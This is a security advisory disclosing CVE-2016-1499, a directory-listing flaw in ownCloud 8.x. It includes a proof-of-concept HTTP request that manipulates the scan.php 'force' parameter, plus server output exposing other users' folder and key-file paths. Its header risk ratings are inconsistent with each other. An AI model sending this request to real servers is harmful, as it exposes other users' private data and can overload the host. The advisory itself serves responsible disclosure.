ownCloud 8.2.1 / 8.1.4 / 8.0.9 Information Exposure

Risk: Low
Local: No
Remote: Yes
CWE: CWE-548

CVSS Base Score: 7.5/10
Impact Subscore: 7.8/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: None
Availability impact: Complete

Advisory ID: SYSS-2015-062 Product: ownCloud Manufacturer: ownCloud Inc., Community Affected Version(s): ownCloud <= 8.2.1, <= 8.1.4, <= 8.0.9 Tested Version(s): 8.1.1, 8.1.4 Vulnerability Type: Information Exposure Through Directory Listing (CWE-548) Risk Level: Medium Solution Status: Fixed Manufacturer Notification: 2015-07-17 Solution Date: 2015-12-23 Public Disclosure: 2016-01-06 CVE Reference: CVE-2016-1499 Author of Advisory: Dr. Erlijn van Genuchten (SySS GmbH) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: ownCloud is a software suite for creating and using file hosting services. The ownCloud Web site describes the software as follows (see [1]): "ownCloud is a self-hosted file sync and share server. It provides access to your data through a web interface, sync clients or WebDAV while providing a platform to view, sync and share across devices easily all under your control. ownClouds open architecture is extensible via a simple but powerful API for applications and plugins and it works with any storage." ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: ownCloud is vulnerable to information exposure through directory listing. It is possible with a normal user to get information about the complete directory structure and included files of all users. The 'force' parameter in the script (index.php/apps/files/ajax/scan.php) can easily be manipulated, by setting its value to 'true'. This vulnerability can potentially be used for denial-of-service attacks if the selected directory is deep enough, because to index many directories requires high computational effort. In addition, sensitive information from other users is exposed. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): With the following HTTP GET request, it is possible to see the directories of other users. GET /index.php/apps/files/ajax/scan.php?force=true&dir=&requesttoken=<VALIDREQUESTTOKEN> HTTP/1.1 Host: [HOST] Accept: text/event-stream Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: [REFERER] Cookie: [COOKIES] Connection: keep-alive Pragma: no-cache Cache-Control: no-cache Server response (shortened): event: user data: "[ID]" event: folder data: "/" event: count data: 21 event: count data: 42 event: count data: 63 event: folder data: "/[ID]" event: folder data: "/[ID]/cache" event: folder data: "/[ID]6/files" event: folder data: "/[ID]/files_encryption" [...] event: folder data: "/[ID]/files_encryption/keys/files/[FILENAME].zip" event: folder data: "/[ID]/files_encryption/keys/files/[FILENAME].zip/OC_DEFAULT_MODULE" event: folder data: "/[ID]/files_encryption/keys/files/[FILENAME].pptx" [...] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: According to information by ownCloud, the described security issue has been fixed in software releases: ownCloud 8.2.2 ownCloud 8.1.5 ownCloud 8.0.10 Please contact the manufacturer for further information or support or visit https://owncloud.org/security/advisory/?id=oc-sa-2016-002. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2015-11-17: Vulnerability reported to manufacturer 2015-12-23: Patch published by manufacturer 2016-01-06: Public release of security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] ownCloud, Web Site https://owncloud.org/ [2] SySS Security Advisory SYSS-2015-062 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2015-062.txt [3] SySS Responsible Disclosure Policy https://www.syss.de/en/news/responsible-disclosure-policy/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Dr. Erlijn van Genuchten of the SySS GmbH. E-Mail: erlijn.vangenuchten@syss.de Public Key: https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Erlijn_vanGenuchten.asc Key ID: 0xBD96FF2A Key Fingerprint: 17BB 4CED 755A CBB3 2D47 C563 0CA5 8637 BD96 FF2A ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS Web site. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en

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